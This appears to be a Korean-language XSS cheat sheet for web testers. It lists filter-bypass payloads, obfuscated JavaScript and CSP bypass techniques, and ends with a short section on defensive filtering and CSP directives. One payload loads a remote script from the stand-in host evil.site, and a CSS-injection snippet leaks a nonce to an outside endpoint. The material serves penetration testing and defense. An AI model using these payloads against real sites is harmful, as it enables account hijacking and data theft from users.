https://www.hahwul.com/2017/10/18/web-hacking-bypass-dom-xss/

Forcing HTTP Redirect XSS

Request

/weak.page?url=ws://www.hahwul.com;"><svg/onload=alert(45)>

Response

HTTP 302 Redirect
Location: ws://www.hahwul.com;"><svg/onload=alert(45)>

<a href="ws://www.hahwul.com;"><svg/onload=alert(45)>"></a>

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/ ์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

Hidden XSS

  • https://www.hahwul.com/2016/12/28/web-hacking-html-accesskey-and-hidden/
  • https://www.hahwul.com/2016/06/20/web-hacking-hiddenxss-xss-in-hidden/
<html>
<body>
  <input type="hidden" accesskey="X" onclick="alert(45)">
</body>
</html>
<button popovertarget=ร—>Click me</button>
<input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>

Data URI XSS

  • https://www.hahwul.com/2022/03/05/data-uri-xss-v2/
  • https://www.hahwul.com/2017/03/15/web-hacking-data-xss-filtering-bypass/
<script src="data:;base64,YWxlcnQoMSk="></script>
<iframe src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></iframe>
<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>
<embed src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></embed>
<form action="data:text/html;charset=utf-8,%3cbr%3e"><input type='submit'></form>
<a href="data:text/html;,<br>">x</a>
<meta HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

JSFuck

  • https://www.hahwul.com/2018/09/15/jsfuck-xss-payload/
  • https://github.com/aemkei/jsfuck/blob/master/jsfuck.js
// alert(1)
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])

// alert(1)
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))

JSFuck+Hangul

  • https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/
  • https://twitter.com/XssPayloads/status/1095213323677782017
<html>
  <head>
    <meta charset="utf-8">
  </head>
<script>
([,ํ•˜,,,,ํ›Œ]=[]+{},[ํ•œ,๊ธ€,ํŽ˜,์ด,,๋กœ,๋“œ,ใ…‹,,,ใ…Ž]=[!!ํ•˜]+!ํ•˜+ํ•˜.ใ…)
[ํ›Œ+=ํ•˜+ใ…Ž+ใ…‹+ํ•œ+๊ธ€+ํŽ˜+ํ›Œ+ํ•œ+ํ•˜+๊ธ€][ํ›Œ](๋กœ+๋“œ+์ด+๊ธ€+ํ•œ+'(45)')()
</script>
</html>

JSFuck+8

[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()

With strtoupper

[strtoupper(<ลฟcript>) by Rubiya](https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/)

%c4%b1 : "ฤฑ".toUpperCase() == "I"
%c5%bf : "ลฟ".toUpperCase() == "S"
%c4%b0 : "ฤฐ".toLowerCase() == "i"
%E2%84%AA : "โ„ช".toLowerCase() == "k"

U+2029 XSS

Paragraph Separator(U+2029) XSS

#!@*%
alert(1)

URI Hash XSS

https://www.hahwul.com/2018/03/21/hacking-hsah-tag-xss-escape-quot-with/

document.write("<img/src="+absolutizeUrl('http://www.hahwul.com#" onerror=alert(45)')+">");

xmp/noscript/noframes/iframe

https://www.hahwul.com/2019/04/12/bypass-xss-protection-with-xmp-noscript-etc/

<noscript><p title="</noscript><svg/onload=alert(45)>">
<noframes><p title="</noframes><svg/onload=alert(45)>">
<iframe><p title="</iframe><svg/onload=alert(45)>">
<xmp><p title="</xmp><svg/onload=alert(45)>">

Normalized XSS

https://www.hahwul.com/2019/09/26/normalized-stored-xss/

=[ฬ•h+อ“.๏ผœscript/src=//evil.site/poc.js>.อ“ฬฎฬฎอ…=sW&อ‰ฬนฬปอ™ฬซฬฆฬฎฬฒอฬผฬฬซฬฬ•

Bypass in-JS

with <!-- <script/
<script>
  var test = "injection <!-- <script/";
</script>

<img src="</script><script>alert(origin)</script>">
with </script>
<script>
  var test = "</script><svg/onload=alert(45)>"
</script>
with double quot and plus
<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>
with backslash
<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>

Without X

Ways to XSS without parentheses

alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45
x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x

JS Magic

location.protocol
// open https://www.hahwul.com?%0aalert(45)
location.protocol="javascript:"

Bypass CSP

Content-Security-Policy

CSP๋Š” Content-Security-Policy๋กœ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ปจํ…์ธ  ๊ธฐ๋ฐ˜์˜ ๋ณด์•ˆ ์ •์ฑ…์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด์„œ ์ด๋ฏธ์ง€, ์Šคํฌ๋ฆฝํŠธ ๋“ฑ ์—ฌ๋Ÿฌ ์ปจํ…์ธ ์— ๋Œ€ํ•ด ์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹น์—ฐํžˆ ์Šคํฌ๋ฆฝํŠธ ์ œํ•œ ์ •์ฑ…์ด ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— XSS์˜ ์ข‹์€ ์™„ํ™” ๋ฐฉ์•ˆ์ด๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค.

  • Content-Security-Policy : W3C์—์„œ ์ง€์ •ํ•œ ํ‘œ์ค€ํ—ค๋”, ๋Œ€์ฒด๋กœ ์ด๊ฑธ ์‚ฌ์šฉํ•จ
  • X-Content-Security-Policy : Firefox/IE ๊ตฌํ˜• ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ—ค๋”
  • X-WebKit-CSP : Chrome ๊ธฐ๋ฐ˜์˜ ๊ตฌํ˜• ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ—ค๋”

์ด์ค‘์—์„œ ์ผ๋ฐ˜์ ์œผ๋กœ Content-Security-Policy ํ—ค๋”๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ •์ฑ…์— ๋Œ€ํ•œ ๋ถ€๋ถ„์€ ์•„๋ž˜ Defensive techniques์˜ CSP๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

Hack unsafe-eval

Content-Security-Policy: script-src https://www.hahwul.com 'unsafe-eval' data: http://*; child-src 'none';
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Hack unsafe-inline

Content-Security-Policy: script-src https://www.hahwul.com 'unsafe-inline' https://*; child-src 'none';
"/><script>alert(45);</script>

Missing default-src

Content-Security-Policy: script-src 'self';
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>

<param name="AllowScriptAccess" value="always"></object>

์‹ ๋ขฐ ๋„๋ฉ”์ธ์— Source ์—…๋กœ๋“œ

CSP ์ •์ฑ…์—์„œ ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์ด๋ฅผ ํ†ตํ•ด CSP๋ฅผ ์šฐํšŒํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src โ€˜selfโ€™ abcd.hahwul.com

์œ„์™€ ๊ฐ™์€ CSP ์ •์ฑ…์—์„œ ๋งŒ์•ฝ abcd.hahwul.com์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

xss.txt

alert(document.location)

XSS Query

GET http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src โ€˜selfโ€™ abcd.hahwul.com

<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

์‹ ๋ขฐ ๋„๋ฉ”์ธ์˜ JSONP ํ™œ์šฉ

JSONP๋Š” CORS๋ฅผ ์šฐํšŒํ•˜์—ฌ ํฌ๋กœ์Šค ๋„๋ฉ”์ธ์—์„œ JSON ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ์ œ์›ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋ฉฐ ์ด๋Š” jsonp,callback ๋“ฑ์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ response ๊ฐ€ ๋ฐ˜ํ™˜๋  ํ•จ์ˆ˜๋ฅผ ๋ช…์‹œํ•  ์ˆ˜ ์žˆ๋„๋ก ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์‹ ๋ขฐ๋„๋ฉ”์ธ์—์„œ ์ด๋Ÿฌํ•œ ๊ธฐ๋Šฅ์ด ์žˆ๋‹ค๋ฉด CSP์˜ ๋„๋ฉ”์ธ ์ •์ฑ…์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script src=โ€http://abcd.hahwul.com/test/jsonp?callback=alert(45);//โ€></script>

์›๋ฆฌ๋ฅผ ๋ณด์ž๋ฉด jsonp ํŽ˜์ด์ง€๋Š” callback(){"return":"data"} ๊ฐ™์€ ํฌ๋งท์œผ๋กœ response๋ฅผ ๋„˜๊ฒจ์ฃผ๋Š”๋ฐ, callback function์„ alert(45);// ๋กœ ์ง€์ •ํ•ด์ฃผ๋ฉด ๊ฒฐ๊ตญ response ์—๋Š” ์ด๋Ÿฐ ๊ฐ’์ด ๋‹ด๊น๋‹ˆ๋‹ค.

alert(45);//{"user":"hahwul","id":3422}

Header Injection & CRLF Injection

Header Injection, CRLF Injection ๋“ฑ์ด ๊ฐ€๋Šฅํ•˜๋ฉด CSP์„ ๋ฎ๊ฑฐ๋‚˜ ์ƒˆ๋กœ ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CSP ๋‚ด๋ถ€์— ๊ฐ’์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ CSP ๊ตฌ๋ฌธ ์ž์ฒด๋ฅผ ๋ณ€์กฐํ•˜์—ฌ ๋น„์ •์ƒ์ ์œผ๋กœ ๋™์ž‘ํ•˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ๋“ค์–ด ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์ด Set-Cookie์— ๋ฐ˜์˜๋˜๊ณ  ์ด ์œ„์น˜๊ฐ€ CSP๋ณด๋‹ค ์œ„์— ์žˆ๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>&cookie=1234%0d%0a%0d%0aaaaa

์œ„์™€ ๊ฐ™์ด ์š”์ฒญํ•˜๋ฉด Set-Cookie์˜ ๊ฐœํ–‰์œผ๋กœ ์ธํ•ด ์•„๋ž˜ CSP ๊ตฌ๋ฌธ์ด Body ๋ถ€๋ถ„์ด ๋ฉ๋‹ˆ๋‹ค. ๊ฒฐ๊ตญ ์ •์ฑ…์ด ์•„๋‹Œ ํ…์ŠคํŠธ๋กœ ์˜ํ–ฅ๋ ฅ์ด ์‚ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: 

aaaaaa
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src โ€˜selfโ€™ abcd.hahwul.com

<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Server Error๋ฅผ ์ด์šฉํ•œ ์šฐํšŒ

์—๋Ÿฌ ํŽ˜์ด์ง€(400, 414 ๋“ฑ) ๋ฐœ์ƒ ์‹œ CSP๋Š” ๋™์ž‘ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ํŽ˜์ด์ง€๋ฅผ ์ž„์˜๋กœ ์ž„๋ฒ ๋”ฉํ•˜์—ฌ CSP๋ฅผ ๋ฌด๋ ฅํ™” ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ์—๋Ÿฌ๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • 400 Bad Request: ์ž˜๋ชป๋œ Path ๋“ฑ์œผ๋กœ WAS๋‹จ ์—๋Ÿฌ ์œ ๋„
  • 414 Request-URI Too Large: URL Qeury ๊ฐ’์„ ์„œ๋ฒ„๊ฐ€ ์ง€์›ํ•˜๋Š” ๊ฐ’ ์ด์ƒ์œผ๋กœ ์ „๋‹ฌํ•˜์—ฌ ์—๋Ÿฌ ์œ ๋„
  • Cookie Bomb: ํฐ ์ฟ ํ‚ค ๊ฐ’์œผ๋กœ ์—๋Ÿฌ๋ฅผ ์œ ๋„, 400์ด๋‚˜ 414 ๋ฐœ์ƒ (Cookie Bomb Attack ์ฐธ๊ณ )

Static file์„ ์ด์šฉํ•œ ์šฐํšŒ

์œ„ ์—๋Ÿฌ์™€ ์œ ์‚ฌํ•˜๊ฒŒ favicon, robots.txt ๋“ฑ์€ CSP์˜ ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์œ„์™€ ๋™์ผํ•˜๊ฒŒ ์ž„๋ฒ ๋”ฉํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Break nonce1 - CSS Injection

CSS๋Š” ์ •๊ทœํ‘œํ˜„์‹์œผ๋กœ elements์˜ attribute์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ์„ ํ™œ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ script ๋“ฑ์˜ nonce ๊ฐ’์„ ํ•œ๊ธ€์ž์”ฉ searchํ•ด์„œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}

Break nonce2 - Cache poisoning

๋ณดํ†ต ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์•ž๋‹จ์— Nginx, Apache ๋“ฑ WAS๋ฅผ ๋‘๊ณ  ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋•Œ WAS์—๋„ ์ปจํ…์ธ ์— ๋”ฐ๋ผ ํ—ค๋”๋‚˜ ์ฒ˜๋ฆฌ๋ฅผ ๋‹ค๋ฅด๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด URI ๊ธฐ๋ฐ˜์œผ๋กœ ์ •์ฑ…์ด ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋Œ€๋ถ€๋ถ„์˜ ๋ฆฌ์†Œ์Šค๋Š” ๋งค๋ฒˆ ํ˜ธ์ถœํ•˜๋ฉด ๋น„ ํšจ์œจ์ ์ด๊ธฐ ๋•Œ๋ฌธ์— ์„œ๋ฒ„๋‹จ ์บ์‹œ๋„ ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ XSS์™€ CSP๊ฐ€ ๊ณต์กดํ•˜๋Š” ํŽ˜์ด์ง€์˜ ๊ฒฝ๋กœ๋ฅผ ์†์—ฌ ์„œ๋ฒ„๊ฐ€ ์บ์‹œํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ ์บ์‹œํ•˜๊ฒŒ ๋˜๋ฉด Response๊ฐ€ ๊ณ ์ •๋˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹น์—ฐํžˆ nonce ๊ฐ’ ๋˜ํ•œ ๊ณ ์ •๋œ ์ƒํƒœ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

GET http://vaha.hahwul.com/test/csp.php/1.png?q=XSSCode& 

์„œ๋ฒ„๊ฐ€ ์ด ์š”์ฒญ์„ ์บ์‹œํ–ˆ๋‹ค๋ฉด, nonce๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด ๊ณ ์ •๋ฉ๋‹ˆ๋‹ค.

Req1
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c

Req2
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c

Req3
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c

๊ทธ๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์ฝ”๋“œ๋กœ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<sciprt nonce="ca987dc7a654dc65a4d5675c">alert(document.domain)</script>

Using Open Redirect

Content-Security-Policy: script-src 'self' accounts.google.com/random/ website-with-redirect.com; object-src 'none';
">'><script src="https://website-with-redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">

Using URL Encode

Content-Security-Policy: script-src www.hahwul.com/cullinan/
<script src="https://www.hahwul.com/cullinan%2f..%2fpublic/uplooad/xss"></script>

Using 3rd-party CDN

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none';
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(45)>

Bypass Env

Short XSS

18 chars

<script/src=//วŠ.โ‚จ>

19 chars

<x onclick=alert()>

23 chars

<svg/onload=eval(name)>

25 chars

<style/onload=eval(name)>

Combined XSS

GET /target?name=<script>alert(1)/*&age=*/</script>
name: <script>alert(1)/*
test: 1234
ggg: bbbb
age: */</script>

More patterns

  • https://github.com/terjanq/Tiny-XSS-Payloads
  • https://gist.github.com/btoews/2399929
  • https://tinyxss.terjanq.me

Upgrade Trick

From Self-XSS

https://www.hahwul.com/2019/11/02/upgrade-self-xss-to-exploitable-xss/

  • Self XSS + CSRF (aka, XSRF)
  • Self XSS + Login CSRF
  • XSS Jacking (with ClickJacking)

From XSS Weakness

https://www.hahwul.com/2022/03/19/xss-weakness-to-xss/

  • Hidden param mining
  • Deceive WAS and G/W
  • Include from other
  • Disturb downloadable func

๐Ÿ›ก Defensive techniques

Response ๋‚ด ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ ๋ฐ์ดํ„ฐ๊ฐ€ ๋ฐ˜์˜๋˜๋Š” ๋ชจ๋“  ๊ตฌ๊ฐ„์€ HTML/JS ๋“ฑ์„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํŠน์ˆ˜๋ฌธ์ž์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ง์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต < > " ' 4๊ฐœ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์น˜ํ™˜ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒƒ์ด ์ข‹์œผ๋ฉฐ, ์„œ๋น„์Šค ๊ธฐ๋Šฅ์— ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์— ์‚ฌ์šฉ๋˜๋Š” ๋ฌธ์ž์—ด์ด๋‚˜ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ๋“ฑ์„ ํ•„ํ„ฐ๋งํ•˜์—ฌ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์ œํ•œ ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

CSP

์ถ”๊ฐ€๋กœ CSP(Content-Security-Policy)๋ฅผ ์ ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์œผ๋กœ ์ธํ•œ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…์—๋„ ๋™์ž‘ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์ œํ•œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ—ค๋”์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์†์„ฑ๊ณผ ๊ฐ’์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • default-src : ๋ชจ๋“  ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ •์ฑ…(์•„๋ž˜ ๊ฒƒ๋“ค ๋‹ค ํฌํ•จ)
  • script-src : Javascript ๋“ฑ ์›น์—์„œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์Šคํฌ๋ฆฝํŠธ์— ๋Œ€ํ•œ ์ •์ฑ…
  • object-src : ํ”Œ๋Ÿฌ๊ทธ์ธ, ์˜ค๋ธŒ์ ํŠธ์— ๋Œ€ํ•œ ์ •์ฑ…
  • style-src : style, ์ฆ‰ css์— ๋Œ€ํ•œ ์ •์ฑ…
  • img-src : ์ด๋ฏธ์ง€
  • media-src : video, audio
  • frame-src : iframe, X-Frame ํ—ค๋”๋ž‘์€ ๋น„์Šทํ•œ ์—ญํ• ์„ ํ•˜์ง€๋งŒ, ์•ฝ๊ฐ„ ๋‹ค๋ฅด์ฃ .
  • font-src : font
  • connect-src : script src๋กœ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๋Š” url์— ๋Œ€ํ•œ ์ •์ฑ…
  • form-action : form ํƒœ๊ทธ ๋‚ด action ๋ถ€๋ถ„์— ๋Œ€ํ•œ ์ •์ฑ…
  • sandbox : HTML ์ƒŒ๋“œ๋ฐ•์Šค
  • script-nonce : ์œ„์— script-src + ์•„๋ž˜์ชฝ์— none ์ด ํฌํ•จ๋˜๋Š” ์ •์ฑ…, ์•ฝ๊ฐ„ ๊ฐ•ํ•œ..
  • plugin-types : ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ ํƒ€์ž…, ์œ„์— object-src์™€ ์ ‘์ 
  • reflected-xss : X-XSS-Protection header์™€ ๋™์ผํ•œ ํšจ๊ณผ, ์‹ค์ œ๋กœ ์ด๊ฒŒ ์ ์šฉ๋œ ์‚ฌ์ดํŠธ๋Š” ์•„์ง ๋ณธ์ ์ด ์—†๋„ค์š”..ใ…‹ใ…‹
  • report-uri : ์ •์ฑ… ์œ„๋ฐ˜ ์ผ€์ด์Šค๊ฐ€ ๋‚˜ํƒ€๋‚ฌ์„ ๋•Œ ๋‚ด์šฉ์„ ์ „๋‹ฌํ•  URL

์†์„ฑ์— ๋งคํ•‘๋„๋Š” ๊ฐ’์€ 4๊ฐ€์ง€ ์ •๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

  • โ€˜noneโ€™์€ ์˜ˆ์ƒํ•  ์ˆ˜ ์žˆ๋“ฏ์ด ์•„๋ฌด๊ฒƒ๊ณผ๋„ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • โ€˜selfโ€™ ๋Š” ํ˜„์žฌ ์ถœ์ฒ˜์™€ ์ผ์น˜ํ•˜์ง€๋งŒ ํ•˜์œ„ ๋„๋ฉ”์ธ์€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • โ€˜unsafe-inlineโ€™์€ ์ธ๋ผ์ธ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ฐ CSS๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • โ€˜unsafe-evalโ€™์€ eval ๊ฐ™์€ ํ…์ŠคํŠธ-์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ ์šฉ ์˜ˆ์‹œ

ํ•˜์œ„ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค๋งŒ๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ

Content-Security-Policy: default-src 'self'

ํŠน์ • ๋„๋ฉ”์ธ๋งŒ ์‹ ๋ขฐ

Content-Security-Policy: default-src 'self' *.mydomain.com

ํŠน์ • ํƒœ๊ทธ ๊ณ„์—ด๋งŒ ํ—ˆ์šฉ

Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *

ํŠน์ • ๋„๋ฉ”์ธ๋งŒ ๋ฌด์กฐ๊ฑด SSL ํ†ต์‹ ํ•˜๋„๋ก

Content-Security-Policy: default-src https://onlinebanking.jumbobank.com

๐Ÿ•น Tools

๐Ÿ“š Articles

  • https://www.hahwul.com/search/?keyword=XSS
  • (XSS๋Š” ์ž‘์„ฑํ•œ ๊ธ€์ด ๋งŽ์•„์„œ ๊ฒ€์ƒ‰ ๋งํฌ๋กœ ๋„ฃ์—ˆ์–ด์š”. ๋‚˜์ค‘ํ—ค ํ•˜๋‚˜ํ•˜๋‚˜ ์ถ”๊ฐ€ํ•ด๋‘˜๊ฒŒ์š” ๐Ÿ˜ญ)

๐Ÿ“Œ References